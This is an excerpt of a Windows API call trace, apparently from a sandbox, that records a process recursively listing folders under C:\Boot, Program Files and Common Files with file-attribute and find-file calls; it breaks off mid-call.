[0077.467] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.467] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0077.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.467] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2991f260, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x2991f260, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x2991f260, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.468] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0077.468] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.468] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.468] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0077.468] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.468] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.468] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0077.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.469] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2991f260, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x2991f260, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x2991f260, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.469] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0077.469] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.469] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.469] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0077.469] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.469] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.469] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0077.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.469] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2991f260, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x299453c0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x299453c0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.470] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0077.470] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.470] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.470] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0077.470] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.471] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.471] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0077.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.471] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x299453c0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x299453c0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x299453c0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.471] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0077.471] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.471] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.471] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0077.471] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.471] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.472] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0077.472] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9558 [0077.472] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.472] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0077.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.472] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.472] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0077.472] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0077.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0077.473] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0077.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.473] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x8c2cfc60, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0x8c2cfc60, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0x8c2cfc60, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.473] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0077.474] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0077.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0077.474] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0077.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.474] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.475] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0077.475] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0077.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0077.476] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0077.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6698680, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc6698680, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.476] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0077.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9558 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.477] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.477] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files", lpFilePart=0x0) returned 0x1d [0077.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc3f058c0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc3f058c0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files", lpFilePart=0x0) returned 0x1d [0077.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.478] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared", lpFilePart=0x0) returned 0x2e [0077.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0077.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcaa0980, ftLastAccessTime.dwHighDateTime=0x1d2ebb6, ftLastWriteTime.dwLowDateTime=0xdcaa0980, ftLastWriteTime.dwHighDateTime=0x1d2ebb6, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0077.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0077.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared", lpFilePart=0x0) returned 0x2e [0077.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9558 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.482] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.482] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.482] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.482] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0077.482] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0077.482] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0077.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0077.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpFilePart=0x0) returned 0x36 [0077.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0077.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d8c7ed0, ftCreationTime.dwHighDateTime=0x1d2e635, ftLastAccessTime.dwLowDateTime=0x4d8ee030, ftLastAccessTime.dwHighDateTime=0x1d2e635, ftLastWriteTime.dwLowDateTime=0x4d8ee030, ftLastWriteTime.dwHighDateTime=0x1d2e635, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0077.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0077.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpFilePart=0x0) returned 0x36 [0077.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0077.483] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.483] SetThreadErrorMode 